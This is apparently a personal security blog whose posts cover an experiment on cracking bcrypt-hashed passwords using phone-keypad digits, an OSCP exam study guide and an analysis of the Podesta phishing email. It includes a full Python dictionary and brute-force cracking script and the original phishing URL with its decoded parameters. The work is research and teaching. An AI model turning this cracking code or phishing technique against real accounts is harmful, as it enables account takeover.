A Few Other Postings

 Obviously, I haven't added to this blog in a while.  That's mostly because my few blog efforts ended up being hosted elsewhere.

Just to help me keep track, here are pointers to a few of my other postings:

https://redcanary.com/blog/a-pastebin-scraper-steganography-and-a-persistent-linux-backdoor/

https://redcanary.com/blog/frankenstein-was-a-hack-the-copy-paste-cryptominer/

Not exactly a blog post by me, but I contributed to this: https://ortiz.sh/bpf/2021/12/02/THE-HIVE.html

What will they think?

I sometimes wonder, when some alien archaeologist comes upon the ruins of our species, what will they decide was the deadly mistake we made as a civilization?

Nuclear War? AI? Asteroid? Disease?  Global Warming?

Nope, I think I've figured it out.  An ad for the following just appeared in my browser, and suddenly, it's all clear to me:



I think I even know who Satan is, and how he won his final battle with God.



Knowing that the end is near, clearly I need to go out and max out my credit cards in a final act of debauchery.

---

OK, I trust that by now you know I'm joking.  Instead of debauchery, I would max out my credit cards on a bitcoin mining rig.  ☺

---

OK, OK.  While it looks crazy at first, the SALT (https://saltlending.com/) business model is only mildly insane.  I think the reference to blockchain is mostly name dropping.  Their business model seems to be simply providing cash loans using bitcoin, etherium, and perhaps other "crypto-currency", as collateral.




Still, you have to admit, we live in interesting times...

Maybe they're not as stupid as we think ...

Earlier today, the infosec corner of Twitter noticed what could be another significant player who seemed like they were doing everything wrong.

Specifically, when calling customer service, Fidelity Investments asks you to type in your password using your phone. Folks quickly concluded that Fidelity is either storing your password in plain-text or at least storing a hash of the phone-digits equivalent of your password.  Both are really bad, since if Fidelity's password database ever get's compromised either would allow a bad actor to easily compromise your account.

Pouring fuel on the fire is that, to date, Fidelity has not responded with what they actually do. No surprise, the piling on which followed was predictable and perhaps even well deserved.

As I read the Twitter thread however, a gnawing thought occurred to me .... while it's great fun to feel superior to others, what if the security folks at Fidelity aren't as stupid as we think?  What if they're not doing either of those bad things?  I mean it's a long shot, but it could happen. 😀

Here's what I was wondering: Is it possible that by knowing the phone-digits which map to an otherwise well hashed and salted password, they could still authenticate your phone call?  Put another way, if I know the phone digits that map to your password, and the hash for your password, can I use the phone digits to dramatically reduce the search space necessary to find the password which generated the hash? Can I do this in whatever passes for real time while waiting on hold for customer support?

Hmm, I wonder.

Maybe now's a good time to list my cryptography credentials:

In other words, I have none.  This could be a crazy, and totally impractical idea, but I'm too ignorant to know.  So here goes.

A good cryptographer would do the math and come up with a powerful argument for whether this is a practical explanation of what Fidelity might be doing.  However, I suck at probability and combinatoral analysis, so instead I threw together a quick and dirty program to try it out.

It takes a password, converts it to its phone digit equivalent, and then use the phone digits to optimize a dictionary attack.  The optimization is simply to not try to hash words which didn't map to  the phone number.  The idea is that checking whether a possible password  maps to a known set of phone digits is way cheaper than using a good hash function.  Especially if Fidelity is following best practice, and using a hash function designed to be slow (such as bcrypt or Argon2.) Just for grins, I also tried a naive brute force attack as well.

The program is written in incredibly bad Python, with absolutely no attempt at optimization (beyond using the phone digits to avoid wasted hashing.)  So the elapsed time is relatively useless for this analysis, the only metric I collected was to count the total times I ended up calculating a hash versus the total number of guesses I made.

The numbers were surprising to me.   Unless I'm making a mistake somewhere, using the phone digits is a remarkably effective way to narrow the search space.  In each of the cases below, the password was cracked both by a dictionary attack and a naive brute force attack.  In all cases I was able to "crack" the password.

The '# of phone digit matches' is how many times the phone digits I knew map'd to a potential password.  This is also the number of times I had to calculate the hash of a potential password to find the actual password. The '# of total words checked' is how many words in total I considered.  I used the rockyou.txt password list for the dictionary attack.

Password: abcde
Dictionary Attack
# of phone digit matches:  1
# of total words checked: 1511  (note: 'abcde' is the 1511'th word in the file)
Brute Force
# of phone digit matches: 885
# of total words checked: 1011525

Password: !DRO!
Dictionary Attack
# of phone digit matches: 1
# of total words checked: 14341288
Brute Force
# of phone digit matches: 1752
# of total words checked: 2418577084

Password: abcd
Dictionary Attack
# of phone digit matches: 2
# of total words checked: 35544
Brute Force
# of phone digit matches: 351
# of total words checked: 1050160,

So at first glance it looks like using the phone digits dramatically reduces the search space when trying to crack a password.

Is that enough to allow Fidelity to retain only properly hashed passwords, but still authenticate callers who provide the phone digits for their password?

I honestly don't have a clue.  Throw enough money at fast hardware, hire folks who understand how to do this stuff quickly, factor in that customers sit on the phone for awhile after they punch in their password and it might be.  Finally, keep in mind, it's not the end of the world if they can't authenticate a customer before they get to an operator.  In that case, the operator  might expend another minute authenticating them by hand, but there was no harm in trying before the call is answered.

Here's the program I used.  Please understand that it's just a simple POC.  I'm sure there are bugs, and unintended limitations.  For example, I don't know what complexity rules Fidelity enforces, or even what constitutes a special character for them.  I just winged it, with the sole intention to get a feeling for the efficiencies possible by using the phone digit version of the password.

 
#!/usr/bin/python

# Question: if a user types in a password using the digit keys on a
# phone (which is ambigious since each key maps to several letters,
# how much easier is it to brute force the password with those "hints"

# To install bcrypt
# sudo apt-get install build-essential libffi-dev python-dev
# pip install bcrypt

import bcrypt

# for each phone digit, list the potential characters
K = {}

K[0] = ['0']
K[1] = ['1']
K[2] = ['2','a','A','b','B','c','C']
K[3] = ['3','d','D','e','E','f','F']
K[4] = ['4','g','G','h','H','i','I']
K[5] = ['5','j','J','k','K','l','L']
K[6] = ['6','m','M','n','N','o','O']
K[7] = ['7','p','P','q','Q','r','R','s','S']
K[8] = ['8','t','T','u','U','v','V']
K[9] = ['9','w','W','x','X','y','Y','z','Z']
K[10] = ['!','@','#','$','%','^','&','*','(',')','-','_','=','+','?','<','>']

# test whether a word maps to a set of phone digits
def inDigits(testWord, testDigits):
    if len(testWord) != len(testDigits):
        return False

    for wordIndex in range (0,len(testWord)):
        if testDigits[wordIndex] == '*':  # since can't use this one 'digit' to index into K
            kIndex = 10
        else:
            kIndex = int(testDigits[wordIndex])
        if testWord[wordIndex] not in K[kIndex]:  # char doesn't map to corresponding phone-digit. We're done
            return False

    return True
    # done with inDigits
        
password = raw_input ("Provide the password: ")

hash = bcrypt.hashpw(password, bcrypt.gensalt())

digits = ''
for char in password:
    if char in K[0]: digits = digits + '0'
    if char in K[1]: digits = digits + '1'
    if char in K[2]: digits = digits + '2'
    if char in K[3]: digits = digits + '3'
    if char in K[4]: digits = digits + '4'
    if char in K[5]: digits = digits + '5'
    if char in K[6]: digits = digits + '6'
    if char in K[7]: digits = digits + '7'
    if char in K[8]: digits = digits + '8'
    if char in K[9]: digits = digits + '9'
    if char in K[10]: digits = digits + '*'
    
print ("\"phone\" digits: " + digits)

fileName = raw_input("Dictionary File: ")
if len(fileName) == 0:
    fileName = '/usr/share/wordlists/rockyou.txt'
    print ("using " + fileName)

file = open(fileName, "r")

totalGuesses = 0
digitsMatchCount = 0
notFound = True
for guess in file.readlines():
    guess = guess.strip()
    totalGuesses += 1
    if inDigits (guess, digits):
        digitsMatchCount += 1
        if bcrypt.checkpw(guess, hash):
            print ("found it, password is: " + guess)
            print ("totalGuesses = "+str(totalGuesses)+", digitsMatchCount = "+str(digitsMatchCount))
            notFound = False
            continue

if notFound:
    print ("password not found")
    print ("totalGuesses = "+str(totalGuesses)+", digitMatchCount = "+str(digitsMatchCount))

print ("starting brute force")

charset = ['a','A','b','B','c','C','d','D','e','E','f','F','g','G','h','H','i','I','j','J','k','K','l','L','m','M','n','N','o','O','p','P','q','Q','r','R','s','S','t','T','u','U','v','V','w','W','x','X','y','Y','z','Z','0','1','2','3','4','5','6','7','8','9','!','@','#','$','%','^','&','*','(',')','-','_','=','+','?','<','>','']

totalBruteGuesses = 0
bruteDigitsMatchCount = 0

# Will only work for up to 5 character passwords.  I can't imagine a dumber way to do this (but I'll keep trying.)
for c1 in charset:
    for c2 in charset:
        for c3 in charset:
            for c4 in charset:
                for c5 in charset:
                    guess = c1 + c2 + c3 + c4 + c5
                    totalBruteGuesses += 1
                    if inDigits (guess, digits):
                        bruteDigitsMatchCount += 1
                        if bcrypt.checkpw(guess, hash):
                            print ("found it via brute force, password is: " + guess)
                            print ("totalBruteGuesses = "+str(totalBruteGuesses)+", bruteDigitsMatchCount = "+str(bruteDigitsMatchCount))
                            exit()


print ("Brute force attack failed.")
print ("totalBruteGuesses = "+str(totalBruteGuesses)+", BruteDigitsMatchCount = "+str(bruteDigitsMatchCount))

Well that's it!  It sure would be nice if Fidelity came out and said what they do.  But they may feel that it's better to keep what they do hidden.

One last point:  If Fidelity does do something like this, the next question is how carefully do they protect the phone-digits their customers type into the customer-support system?  If the phone-digits and the hashed database were to both be compromised, it would be almost as bad as not hashing the passwords at all.

Any suggestions or comments would be welcome.


Update (4/10/2018): I received a first-hand report: "I auth'd to my personal account via phone and it was instantaneous, so I think we can completely rule that one out."  I agree, if authentication is instant, than Fidelity has clearly retained either the clear text password, or perhaps a hash of the phone-digits.  The problem with the latter is that the search space of phone-digits is so small, it can easily be brute-forced - allowing an attacker to obtain the phone-digits which correspond to your password.  They can then get at your account via phone, or if they have also stolen the hashes for your real passwords, use the technique I describe above to compromise your password.  Ouch!

Try Harder

Well, it happened.  I finally passed the OSCP exam!  It was, without a doubt, the most challenging and rewarding single endeavor of my career.

I know that when I was working on it, I was hungry for any insight those who had gone before me could provide.  So I thought I would share a few things I came across during the process.

Offensive Security, PWK And The OSCP

For those who aren't familiar with either the OSCP, PWK or Offensive Security ... Offensive Security (https://www.offensive-security.com/) is the company which brings us the Kali Linux distribution, the exploit-db (https://www.exploit-db.com/), and the free training course on Metasploit, Metasploit Unleashed (https://www.offensive-security.com/metasploit-unleashed/).

More to the point here, they also provide a variety of training opportunities in computer security, focusing on the offense side of security.

One of the classes they provide is "Penetration Testing With Kali", otherwise known as "PWK".  The PWK course focuses on how to do penetration testing (using Kali Linux) and prepares one to take the test for the "Offense Security Certified Professional" certification, commonly called the "OSCP".

Unlike most security certifications, the OSCP is exclusively hands on.  There is no written exam, no test of some knowledge base ... being good at memorizing will do you no good here.  The exam consists of you being given access for 24 hours to a network with some computers on it.  If you compromise enough of those computers, you pass (you have another 24 hour to write up the required report on your efforts.)

Who Is The OSCP For?

One of the things I've learned while working on the OSCP is that there are a variety of folks working on it.

• There are some folks who already work as experienced penetration testers - for them PWK and the OSCP are a validation of what they already know.  Dare I say it, the OSCP is something of a check-box for them.  They might have their sights set on the more advanced OSCE certification (https://www.offensive-security.com/information-security-training/cracking-the-perimeter/), which the OSCP is a stepping stone to.
• There are security neophytes taking the course as well. Maybe they're making a move from some other IT discipline, maybe they're completely new to IT and security.  You have to admire their courage, jumping into the deep end like that.  I suspect however that a good number of these folks do well.  I say that because I believe that PWK and the OSCP reward hard work and motivation more than they reward book knowledge.
• Finally, there are folks who work in security, but not as penetration testers.  I fall into that category, I've worked in many areas of security - and I like to think I have a good handle on the fundamentals. While I've done lots of assessments with automated tools, and occasionally poke at things manually, I've never worked as a professional pentester. 

I've tried to orient this post towards the second and third group.

BTW, although I don't work as a pentester, I'm of the opinion that earning the OSCP doesn't make you an 31337 security pentester.  There are many parts of an enterprises' potential attack surface which the PWK course doesn't have time to get into.  In my opinion, I think an OSCP would make a very strong junior pentester.  If you want to get in on the ground floor as a pentester, I can't think of a better certification than the OSCP.  Not only has an OSCP demonstrated a clear understanding of the fundamental skills required for serious pentesting, but he/she has demonstrated a tenacity which is a huge asset.

I also think the OSCP is a fantastic certification for other security folks.  For example, my day-to-day job doesn't involve pentesting - but what I've learned in the PWK and in earning the OSCP gives me a tremendous insight and "toolset" that I bring to my job every day.

What Is The PWK Class Like?

There are three main components to the PWK, and then a couple of extra resources you should be aware of:

• The primary "reference" is the instructional document they provide.  The version I received was a .pdf document which is over 370 pages long.  This document is intended to teach you the skills and tools you'll need to compromise  machines in the lab.  It's a well written and comprehensive tutorial which takes you from very basic things such as how to boot Kali through writing your own buffer overflow exploits.  Check out the PWK syllabus here, which follows  the document's table of contents: https://www.offensive-security.com/documentation/penetration-testing-with- kali.pdf
• The manual also includes exercises to work through.  These are hands on exercises which give you experience with the techniques and tools you'll need  to use in the lab. When you take the OSCP, you can get a few points by handing in the completed exercises.  

• In addition to the written document, Offensive Security also provides a series of videos.  Each video is a lecture which typically demos a procedure or tool.  The videos pretty much correspond 1:1 to the sections in the written document.   Sometimes the video will show some detail not in the written document, or visa-versa.  But essentially each video is a live presentation of a section in the written document.  This can be very handy when there's some aspect of using a tool which eludes you ... seeing a demo of somebody running it can make all the difference. And of course, some folks are visual learners and some folks do better reading - Offensive Security has got you're covered either way.

• The third, and far away most important part of the course, is the lab.  This is what separates PWK from most other classes.  As part of the course, you get access via a VPN to a network which hosts some 50+ machines spread across several networks.  The machines are all different, and each machine has some vulnerabilities which can be exploited to fully compromise the machine.  The network is modeled after a real corporate network, with a variety of different types of workstations, servers, and other corporate networks you can pivot to.  One of the things I like about the network is that the vulnerabilities are all "real world" vulnerabilities.  This isn't some Capture The Flag (CTF) exercise where you'll find some cute vulnerability that you would never see in the real world.  The vulnerabilities you'll find here are the types of mistakes, bugs and oversights you might find on a real corporate network (perhaps one with sloppy admins, but still real world.) Lab time is a valuable commodity.  When you sign up for PWK, you sign up for a certain number of days you'll have access to the lab.  If necessary, you can buy more lab time.

There are a couple of other resources that you'll want to be aware of:

• As a student, you'll have access to a set of forums maintained by Offensive Security.  This is where Offense Security will notify you of issues you need to be aware of.  However, the primary focus of the forums is for students to discuss both lessons, and machines in the lab.  If you have a question about something in the course materials, this is a good place to ask.  Other students, and Offensive Security instructors can respond to you here.  This is also where you'll find a unique forum dedicated to every machine in the lab.  When you get stuck on a machine (and you will, trust me) this is place where you can seek a hint to get you unstuck.  

• There is also a private chat facility where you can connect to an Offensive Security instructor.  This is where you can get help if you're having technical issue, such as problems connecting to the VPN.  It's also another resource if you're stuck on a machine.

Hints

Especially in the forums, you'll quickly encounter what I call the PWK "Code of Silence".  In the forums, and when you're interacting with instructors, there's a very strong tradition of not giving away how to compromise a machine. Almost every forum post about a machine is edited to avoid hints which give away too much about how to compromise a machine.  

The whole culture of PWK is oriented towards encouraging you to "Try Harder" and figure out for yourself how to compromise a machine.  Permitted hints are mostly encouragement or perhaps something cryptic which will only mean something to you if you're already on the right path.  The same thing will happen if you contact an instructor via chat - if you're on the right path, he/she may toss you a few crumbs of encouragement. But you'll never get something like "try CVE-1234-567".

OK, so those are the resources.  How do you use them to maximize what you get from PWK and earn the cherished OSCP? :-)

 Some Lessons Learned

The Lab

The first lesson I'll mention is one I learned the hard way: the essence of the course is working through the machines in the lab.  The reason for this is because the limiting factor in the course is access to the lab.  i.e. how much lab time have you purchased?  If you're lucky, you'll have the resources to buy more lab time as you need it, but it can get pricey.  If your employer is paying for the class, you may have a very hard limit on lab time (unless you can fund lab extensions on your own.)  

Why is this a hard earned lesson?  The first (of many) mistake I made with the PWK was assuming it was like other technical classes I had taken. I started the course planning to study the manual, watch the videos, do the exercises and then at the end spend time practicing what was in the manual using the lab.  WRONG!  I ended up wasting a significant part of the lab time I purchased with the course, studiously working though the manual.  If there was an exercise, not only did I do it - I played with it, doing it different ways or writing a program I would never use again to do it.  I had a lot of fun, but when I was done and turned my attention to the lab I was horrified (and thrilled) to discover that while I needed to use the techniques and tools from the manual, each machine in the lab presented a different challenge which was new to me and wasn't simply a matter of applying by rote what was in the class lessons.   Not only that, but the lab was huge.  When I finally did a host scan to see how many hosts were in the lab, I was surprised to discover that there were 30+ machines immediately visible (plus more on networks I couldn't see yet.).

This is a core thing to understand about PWK.  What PWK teaches you isn't a catalog of tricks you can use to compromise machines.  Rather, PWK teaches you how to bang your head against a machine, fighting, persisting, cursing, praying, clawing at it, until you finally find a chink in the machine's armor and can work you way past its defenses.  

There's a reason the motto for the class is "Try Harder".  What Offensive Security is trying to teach you is to find ways to keep trying.  This is an insanely valuable lesson.   A good pen-tester can't just use the same exploits every day, he/she needs to be able to successfully compromise a machine with vulnerabilities they've never seen before.

That's why the lab is the core of the class.  The only way you'll develop the experience to have a chance at the OSCP is to work your way through the different machines in the lab.  It's what will turn "book" learning into an actual ability to compromise machines.  It's also what will force you to develop the mental toughness to keep trying 19 hours into the 24 hour OSCP exam and not give up.

Forums

So here's where I get to talk about another mistake I made.  Even though the forums are heavily edited to avoid giving away too much, they're not content free either.  Typically, if you're on the right path to solving a machine, there might be a comment which will confirm that you're going on the right direction.  For example (and I'm making this up), let's say you found a directory traversal attack against an application.  If somebody in the forum for that machine says "enumerate the file system", that tells you that maybe if you keep using the directory traversal attack, you'll find something useful.

The mistake I made was that I got lazy and started to rely on these hints.  I got pretty good at using these hints to validate that I was on the right track (or not).  But, developing a sense of when you're on the right track is part of what the lab should teach you.  Remember, there are no forums for the machines in the OSCP exam.  So if you become too used to using the forums to nudge you in the right direction, you'll be handicapped when you take the OSCP exam.  Having said that, sometimes it's important to just get a little bit of encouragement.  Several times I reached the point where it seemed like a machine was impossible.  At times like that, seeing that somebody else had finally figured it out was just the encouragement I needed to go back and try again (harder.)

So, plan to use the forums as a resource.  But be careful not to over-use them.  If you're planning to take the OSCP exam, try to treat every machine you attack in the lab like it's part of the OSCP exam and try to use only the resources you would have during the exam.  If you go to the forums or instructors for a hint, do so with the intent of learning something when you're really stuck, not just to save time on that machine.

Notes

Here's something I did right!  One of the things I quickly learned while working on the PWK lab is the incredible importance of taking good notes.  I don't know how to over-emphasize this, you've got to develop good note taking skills while working in the lab.  

When taking the OSCP exam, after your 24 hours to attack the exam machines, you have another 24 hours to write up a lab report.  This report is required, and it must meet certain standards.  No report, no OSCP.  The report requires you to be able to describe the vulnerabilities found and the successful attack used for each machine.   The quality of your report will be a direct function of the quality of your notes.  If you left something out of your notes, it may not make it into your report.  And don't forget, after your 24 hours of access to the exam network are up, and you're writing the report, you can't go back to the exam network because you forgot a screen shot or because you forgot how you did something.

Also, taking good notes while you work on a machine in the lab can be very helpful while trying to compromise it.  On occasion "life" would intrude on my working in the lab, and I would find myself coming back to a machine after being away from the lab for awhile.  Having notes to remind me what I've already tried, and what I still needed to do, was very handy.

Finally, there may arise occasions where a machine you've compromised in the lab, later on serves a useful purpose in attacking some other machines.  You can't take advantage of a machine you compromised weeks ago if your notes about that machine are incomplete or illegible. 

In my opinion, there are two requirements for good note taking software.  The first is to be able to easily impose structure on your notes.  You will need to refer back to your notes, and without structure, finding information in what will literally become thousands of pages of notes would become impossible.

The second requirement is to be able to quickly and easily incorporate screen shots into your notes.  Screen shots are critical because Offensive Security requires them as proof that you've done something.  In the exam report, you are required to provide screen shots showing every step required to compromise a machine (along with the contents of a trophy file.)

You're allowed to use whatever program you want for notes.  However, Kali Linux comes with an open-source note taking program called "keepnote", which I would strongly recommend - unless you already have an good program you're familiar with (such as OneNote, Evernote, ...)

How to Prepare

So here's the really good news.  While the amount of time you have in the lab is a limited, there's no limit on how much preparation you can do prior to starting the course.  And there's a ton of resources available to help you prepare ahead of time for the PWK.  Again, having learned my lesson by doing the opposite, I would strongly encourage you to embark on a pre-PWK course of study. 

What to study?  Well of course, it really depends on what your strengths and weaknesses are.  I would say that the goal of preparing for the PWK is to make sure you're in a position to immediately absorb what the PWK gives you, without having to backup and learn some "fundamentals."  Here are a few suggestions to cover the most likely gaps.

A Good Textbook

My first suggestion is that you definitely look at the book "Penetration Testing: A Hands-On Introduction to Hacking" by Georgia Weidman.  

By the time you're done with her book, you'll have a Kali machine set up, you'll have learned the basics of getting around, and you'll have learned how to use the most commonly used tools in Kali.  Better yet, you also will have tasted the sweet, forbidden, addictive, fruit of breaking into a machine and started to develop a feel for how that process works.  In fact, you'll have touched on many of the primary subjects covered by the PWK.

The only warning I would give you about her book is that several of the exploits she walks you through are against Windows-XP, and it's getting harder and harder to find a Windows-XP VM you can use, let alone one which is vulnerable to some of the exploits she shows.  But the Linux stuff is still available, and even if you just read about the Windows-XP exploits you'll still get something out of it.

There are some other books which are also good, such as "The Hacker Playbook" by Peter Kim, but none of the ones I'm familiar with, track the PWK as closely as Weideman's book.

Linux

Kali is a Linux distribution, and at its core PWK is partially about learning how to use Kali.  So being able to work in a Linux environment is pretty important.  There are a ton of online resources for learning Linux.  Just google something like "Intro to Linux", and pick one that looks good to you.

A great resource for getting started with Kali is "Kali Linux Revealed" available for free at: https://www.kali.org/download-kali-linux-revealed-book/.  Chapter 3 will give you a great introduction to using Linux.

If you want to have some fun with basic Linux commands, check out this CTF which is an intro CTF using basic Linux commands: http://overthewire.org/wargames/bandit/. If you're never tried to break into a computer before, this is a chance to dip your toes in and sample the thrill.

When it comes out, this book looks like it will be the go-to resource for getting up to speed with Linux for the PWK: https://www.nostarch.com/linuxbasicsforhackers

Networking

Networks are the media a pentester uses to communicate with his/her target, so PWK teaches you to understand how networking works, and the tools used to manipulate network traffic.  For example, PWK shows you how to use sniffers like Wireshark and tcpdump, tools you'll need to debug your attacks.

But in order to understand what these tools are telling you, you'll need to understand some networking basics.  If the terms "ARP", "UDP", and "Three-way-handshake" mean something to you, you shouldn't have any problems with PWK.  If not, you probably want to find an introductory lesson on TCP/IP.

There are tons of these lessons on the Internet, although many of them go into much more detail than you need to start.  For example, you don't need to understand the OSI-model, routing, NAT, IPv6, subnetting, or how networking hardware works.

Find one you like.  Networking is critical to almost any endeavor in security, so in a way you can't learn too much.  But for the PWK, avoid getting too far in the weeds.

Programming Skilz

You will need to have some basic programming ability.  Part of what you need to be able to do in PWK is download an exploit's source code, review it for safety and applicability, and perhaps make some changes.  Most of the exploit's you'll encounter are written in either Python or C.  If you can already load a python program into vi, maneuver around, maybe change the value of a variable (and exit from vi!) then you're good to go.  Kali does have a notepad like editor, so even being able to use vi is optional.

If you're new to programming, I would focus on learning some Python.  If you can get around in Python, the minimal amount of C code you'll need to modify should not be a big deal.

Frankly, there are so many "Intro to Python" resources, it's hard to find just one to recommend.  Find one you like, and just work through it.  Just as an example, here's one that Google makes available: https://developers.google.com/edu/python/?hl=en

If you prefer to learn from a book, here's a book that I like (you just need Part 1), although it might be a bit of overkill: https://www.nostarch.com/pythoncrashcourse

Buffer Overflows and Hacking in Binary (OK, Hex)

Related to basic programming, the PWK spends some time showing you how to write a classic buffer-overflow exploit.  It's really fun stuff, and they keep it at an approachable level.  The basic tools you'll need to understand these modules are an understanding of:

• How a program uses memory 
• What a stack is and how it's related to calling a procedure.  
• What the instruction pointer is
• What Hex is
• You'll also need to be comfortable learning how to use a debugger.

Those things sounds scarier than they are.  But if you've seen them before you'll find the buffer overflow part of PWK easier.

Weideman's book devotes 3 chapters to writing buffer-overflow exploits, or there are a bunch of buffer-overflow tutorials on the Internet.

A Google search for "intro buffer overflow" will give you a starting point.  Remember though, you don't need to learn assembly language, or how to reverse engineer a program.  Just go with one of the resources which demo a simple buffer overflow.

Metasploit

Metasploit is a "framework" for writing and running exploits.  What that means is that Metasploit provides a bunch of tools which simplify writing and then running exploits.  There's a huge community which has grown up around Metasploit, with the result that for a lot of known vulnerabilities, somebody has written an exploit in Metasploit which "just works". Put another way, Metasploit makes it trivial to exploit a large number of vulnerabilities without knowing a thing about how the exploit works.

Metasploit is an important tools for pentesters to know. But it's somewhat antithetical to what PWK is all about, namely learning how to compromise a machine with your own two hands.  PWK devotes some time to learning how to use Metasploit, and on the OSCP exam you're allowed to use Metasploit on one machine if you want, so it's not a bad idea to study Metasploit before taking the PWK.   As with most aspects of the PWK, Weideman's book covers how to use Metasploit.  

Although it goes into more detail than you need for the PWK, Offense Security makes available a great resource on using Metasploit, Metasploit Unleashed:  https://www.offensive-security.com/metasploit-unleashed/. If you want to play with Metasploit in more detail, grab a copy of the latest version of "Metasploitable", which is a VM running software specifically designed to be vulnerable to exploits in Metasploit.  You can then use Metasploit to attack the vulnerabilities on this VM.

Finally, one warning about Metasploit.  When working in the PWK lab, it's possible to become too dependent on using Metasploit.  There's nothing to stop you from using Metasploit against every machine in the lab, but if you do you'll be completely lost during the OSCP exam where your use of Metasploit is severely limited.

Machines to Attack

The key activity in the PWK class is to attack the machines in the lab.  Although I wouldn't describe it as a requirement, it's clearly beneficial to get practice actually attacking machines before starting the class.  Fortunately, there are a lot of opportunities to legally attack something.  The hard part is knowing ahead of time that a particular target is a good match for the machines in the PWK.

To address that, an excellent resource is the list of PWK like machines put together by "abatchy":  http://www.abatchy.com/2017/02/oscp-like-vulnhub-vms.html

The site vulnhub.com serves as a repository of vulnerable VMs.  In general, a lot of the machines at vulnhub can teach you something, even if they're not all aligned with what the machines in the PWK lab teach you: https://www.vulnhub.com/

Final Thoughts

If you're "new" to security, keep in mind that almost everything is documented for free somewhere on the Internet.  That means that if you're willing to dig a lot, and work hard, you can learn everything you need to do well in the PWK before going into it.  Coincidentally, those skills (digging and working hard) are among the ones you'll need once you start actually doing the PWK.

When working in the PWK lab, learn to stay focused and try to dispatch machines as quickly and efficiently as possible.  This is a critical skill for professional pentesters, and is one of the skills that the OSCP mercilessly measures during the exam.

Finally, preparing ahead of time can make the difference between success and failure.  Do not underestimate the PWK (but don't be afraid of it either.)

Resources

In addition to references sprinkled above, here's a list of some resources on preparing for the OSCP that I came across during my OSCP journey:

http://www.abatchy.com/2017/03/how-to-prepare-for-pwkoscp-noob.html

http://www.securitysift.com/offsec-pwb-oscp/
https://www.keiththome.com/oscp-course-review/
https://theslickgeek.com/oscp/
http://netsec.ws/?p=398
https://leonjza.github.io/blog/2014/11/22/trying-harder-oscp-and-me/
http://www.en-lightn.com/?p=941
https://medium.com/@rubyroobs/offensive-security-s-penetration-testing-with-kali-linux-course-and-why-it-s-possibly-the-best-9142092d13d1
http://www.techexams.net/forums/security-certifications/110760-oscp-jollyfrogs-tale-2.html
https://securism.wordpress.com/oscp-notes-password-attacks/
https://backdoorshell.gitbooks.io/oscp-useful-links/content/
https://www.peerlyst.com/posts/the-how-to-get-the-oscp-certification-wiki-peerlyst
https://blog.mallardlabs.com/zero-to-oscp-in-292-days-or-how-i-accidentally-the-whole-thing-part-2/

Update 3/2020  - Best resource yet! (This is an update of what was here before.)
https://docs.google.com/spreadsheets/d/1dwSMIAPIam0PuRBkCiDI88pU3yzrqqHkDtBngUHNCw8/edit#gid=0

We Live in Interesting Times

I shouldn't, but I couldn't resist a couple of comments on the issue of those darn Ruskies hacking the election.

Please be aware that my goal is to be completely non-political.  I just think that from the technical, security perspective, there are some interesting things going on here worth looking at.

---

The first comment is simply to point to what is far and away the best overviews I've seen on the Grizzle Steppe release by DHS.

Before you read it though, let me point out that the author does steer into what might be considered politics every now and then.  I encourage you to just avert your eyes, and focus on the discussion of the Grizzly Steppe IOCs.

http://www.thedailybeast.com/articles/2017/01/06/how-the-u-s-enabled-russian-hack-truthers.html

The comments in the article by Robert Lee and Robert Graham are, I think, spot on.

If you're interested in diving into this report in more detail, here's a much more in-depth critique of the report by Robert Lee:

http://www.robertmlee.org/critiques-of-the-dhsfbis-grizzly-steppe-report/

In my opinion, irrespective of your politics, DHS did not endear themselves to the security community with this one.  It comes off as a huge bureaucratic CYA exercise because somebody in authority said very loudly, "DO SOMETHING!!".  It only succeeded in generating a lot of work for folks defending stuff, and I doubt much good came of it.

---

Here's the other thing I thought was interesting.  While we don't have access to the technical data underlying the assessment of the DNC hack, it turns out we have very good insight into the hacking of John Podesta's gmail account - which was a different compromise but was related due to Podesta's involvement with the election.

The paper below describes in detail how, due to an opsec mistake by the attackers, researchers at SecureWorks were able to compromise some phishing campaigns which they believe were run by APT28.  The compromise allowed them to directly identify the targets of these phishing campaigns, and to develop an estimate of which targets were successfully compromised.

https://www.secureworks.com/research/threat-group-4127-targets-google-accounts

It's a good read if you want to understand how one mistake can lay bare an entire cyber attack program.  It also describes the mechanics of how the attackers led their victims to a fake Google password change page.

In a related display of cosmic irony - included in the leak of John Podesta's email to Wikileaks, is the phishing email which appears to have resulted in the compromise of his email and therefore the leak his emails to Wikileaks. :-)

After reading the SecureWorks paper, let's see why the Podesta hack could be part of that campaign...

We know from the email dump in Wikileaks, that Podesta received a phishing email purporting to be from Google, encouraging him to change his password, and conveniently providing a URL he could use to change it.  The URL he was provided was:
https://bit.ly/1PibSU0

(Note: as a rule, I don't go to Wikileaks, but if you want to see the source email thread, it's available at: https://wikileaks.org/podesta-emails/emailid/36355)

Some URL shortners, including bit.ly, have a feature where if you append a '+' sign to the shortened URL, they take you to a page which shows where the shortened URL redirects you to.  Using that feature, we can examine the URL from the phishing email (notice the appended '+'):
 https://bit.ly/1PibSU0+

which shows us that Podesta was ultimately sent to:

http://myaccount.google.com-securitysettingpage.tk/security/signinoptions/password?e=am9obi5wb2Rlc3RhQGdtYWlsLmNvbQ%3D%3D&fn=Sm9obiBQb2Rlc3Rh&n=Sm9obg%3D%3D&img=Ly9saDQuZ29vZ2xldXNlcmNvbnRlbnQuY29tLy1RZVlPbHJkVGp2WS9BQUFBQUFBQUFBSS9BQUFBQUFBQUFCTS9CQldVOVQ0bUZUWS9waG90by5qcGc%3D&id=1sutlodlwe

Based on what we learned in the SecureWorks paper, we can decode the components of that URL to see that:

am9obi5wb2Rlc3RhQGdtYWlsLmNvbQ== --> john.podesta@gmail.com
Sm9obiBQb2Rlc3Rh --> John Podesta
Sm9obg== --> John
Ly9saDQuZ29vZ2xldXNlcmNvbnRlbnQuY29tLy1RZVlPbHJkVGp2WS9BQUFBQUFBQUFBSS9BQUFBQUFBQUFCTS9CQldVOVQ0bUZUWS9waG90by5qcGc= --> //lh4.googleusercontent.com/-QeYOlrdTjvY/AAAAAAAAAAI/AAAAAAAAABM/BBWU9T4mFTY/photo.jpg

That was the information which was used to construct the web page used to trick him into providing his Google password.  BTW, that last URL brings up the publicly available picture that Google uses for Podesta's Google applications.

The actual web site which displayed the fake Google password change page is no longer up, but we can see in the SecureWorks paper what it looked like.

Based on this research, it seems pretty clear that Podesta had been phished by the group documented by SecurityWorks.  Based on the contents of the email thread, it's very likely that the attack succeeded and that this attack resulted in his email being compromised.

Here are some screen shots showing these steps:

Here's email thread showing the URL in the phishing email.

In the same email thread, Podesta's IT support team mistakenly decides that the email is legitimate and they need to change the password for his email account. This is why I think it's likely the phishing attack was successful.

